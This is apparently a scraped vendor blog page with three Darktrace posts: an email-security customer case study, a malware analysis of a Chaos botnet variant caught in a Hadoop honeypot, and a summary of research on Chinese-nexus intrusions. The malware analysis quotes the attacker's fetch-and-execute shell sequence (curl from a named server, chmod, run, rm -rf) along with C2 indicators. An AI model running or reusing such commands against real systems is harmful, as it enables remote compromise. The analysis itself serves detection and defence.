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March 19, 2025

Global Technology Provider Transforms Email Threat Detection with Darktrace

To strengthen its distributed and complex operations, this global technology leader implemented Darktrace / EMAIL to monitor, detect, and mitigate potential email threats. Read the blog to discover their results.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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Mar 2025

At a glance

  • Within just one month of using Darktrace / EMAIL, the volume of suspicious emails requiring analyst attention dropped by 75%, saving analysts 45 hours per month on analysis and investigation.
  • By offloading most manual, repetitive tasks to Darktrace / EMAIL, the company’s skilled security analysts can focus on developing new capabilities and tackling more complex, rewarding projects.
  • Darktrace recently detected and blocked a highly sophisticated and personalized phishing email that spoofed a Microsoft SharePoint and Teams website and used advanced engineering to impersonate the school of an employee’s family member.
  • The transition from the incumbent solution to Darktrace / EMAIL was seamless and undetectable to the company’s vast of customers and partners, reinforcing the security organization’s role as a business enabler—protecting the company and reducing risk without adding friction.

Securing a complex, distributed business without disruption

The company remains at the forefront of technological innovation and transformation; however, its success and ambitions come with the challenges of managing a distributed global business—balancing digital advancements, existing technology investments, and evolving compliance requirements.

Optimizing a complex tech stack for scalable growth

The organization operates a diverse technology stack spanning Windows, Mac, Linux, and multiple cloud environments, creating a complex and challenging IT landscape. The company’s Chief Information Security Officer (CISO) emphasizes the need for efficiency and agility. “Our goal is to scale and deliver new capabilities without increasing headcount, ensuring that costs remain proportionate to growth.”

Balancing security, governance, and business agility

Committed to responsible practices, this industry leader prioritizes secure and trustworthy technology for its customers who rely on its solutions. “Balancing business agility with governance is a constant challenge," said the CISO. "There’s always a natural push and pull, which I believe is healthy—but achieving the right balance is delicate.”

Protecting critical workflows without impacting productivity

For the organization, email is much more than just a communication tool. “Email plays a critical role in our engineering workflows and is fundamental to how we build our products.” Because of this, the company is extremely cautious about implementing any solution that could introduce friction or disrupt productivity. “There is zero tolerance for disruption, which is why we take a deliberate and methodical approach when evaluating, selecting, and deploying our tools and solutions,” he said.  

More than a vendor: A security partner invested in success

To ensure an optimal security infrastructure, the enterprise security team regularly evaluates market technologies to their existing solutions. With the rapidly evolving threat landscape, the CISO said they “wanted to validate whether we still had best-in-class protection and the right controls in place to secure our organization. It was about assessing whether we could do better in our ongoing effort to fine-tuning our approach to achieve the best possible outcome.”

The team evaluated 15 different email security vendors based on the following criteria:

  1. Efficacy to detect threats
  2. Ability to integrate with existing tooling
  3. Ease of use
  4. A vendor’s approach to partnership  

They initially narrowed the list to five vendors, conducting demo sessions for deeper evaluations before selecting three finalists for a proof of value (POV). We analyzed actual malicious emails with each vendor to assess the accuracy of their detections, allowing for an objective comparison,” said the CISO. Through this rigorous process, the Darktrace / EMAIL security solution emerged as the best fit for their business. “Darktrace’s product performed well and showed a genuine commitment to partnering with us in the long-term to ensure our success.”

The team objectively understood where there were gaps across the different vendors, where they were strong, and where they could use improvement. “Based on the analysis, we knew that Darktrace / EMAIL could deliver as the data supported it, in our specific use cases.  

Partnership, integrity and respect

Throughout the evaluation process, the importance of partnership and mutual respect remained an essential factor to the CISO. “I wanted a company we could develop a long-term strategic partnership with, one that could extend far deeper than just email.” A key factor in choosing Darktrace was the commitment and engagement of its team at every level of the organization. “Darktrace showed integrity, patience and a genuine investment in building a strong relationship with my team.  That's why we're here today.”

“Together, we've delivered some fantastic outcomes”

For the organization, Darktrace / EMAIL has played a crucial role in reducing risk, empowering analysts, and enabling a lean, effective security strategy. “Together, we've delivered some fantastic outcomes,” said the CISO.  

Reducing risk. Empowering analysts

“Within that first month, we saw a 75% drop in suspicious emails that that required manual review, which reduced the time my team spent analyzing and investigating by 45 hours per month,” said the CISO. The security team values Darktrace / EMAIL not only for its ease of use but also for the time it frees up for more meaningful work. “Giving my team the opportunity to tackle complex challenges they enjoy and find more stimulating is important to me.” As they continue to fine-tune and optimize balance levels within Darktrace / EMAIL, he expects even greater efficiency gains in the coming months.

Maximizing protection while staying lean

It’s important for the security group to be proportionate with their spending, said the CISO. “It's all about what is enough security to enable the business. And that means, as our organization grows, it's important that we are as lean and as efficient as possible to deliver the best outcomes for the business.”  Embracing an AI-powered automated approach is an essential component to achieving that goal. By offloading most manual, repetitive tasks to Darktrace / EMAIL, the company’s skilled security analysts can focus on more strategic and proactive initiatives that enable the business.  

Protecting employees from advanced social engineering threats

Recently, Darktrace detected a malicious email targeting an employee, disguised as a spoofed Microsoft SharePoint and Teams website. What made this attack particularly sophisticated was its personalization — it impersonated the school where the employee’s family member attended. Unlike mass malicious emails sent to thousands of people, this was a highly targeted attack, leveraging advanced social engineering tactics to exploit connections within the education system and between family members.  

Protecting without disrupting

A seamless migration is often overlooked but is critical to success for any organization, said the CISO. With a wide ecosystem of partners, email is a highly visible, business-critical function for the organization — "any friction or downtime would have an immediate impact and could throttle the entire business,” he said. However, the transition from their previous solution to Darktrace / EMAIL was exceptionally smooth. “No one realized we changed providers because there was no disruption — no incidents at all. I cannot emphasize just how important that is when I'm trying to position our security organization as an enabling function for the business that protects and reduces risk without adding friction.”

A security partnership for the future

“To survive as a business over the next few years, adopting AI is no longer optional—it’s essential,” said the CISO. However, with the cybersecurity market becoming increasingly saturated, selecting the right solutions and vendors can be overwhelming. He stresses the importance of choosing strategic partners who not only deliver the outcomes you need, but also deeply understand your organization’s unique environment. “You’re only as strong as your partners. Technology innovation and the cybersecurity market are always changing.  At some point every solution will face a challenge—it’s inevitable. The differentiator will be how people respond when that happens.”  

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer

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April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

Chinese-Nexus Cyber OperationsDefault blog imageDefault blog image

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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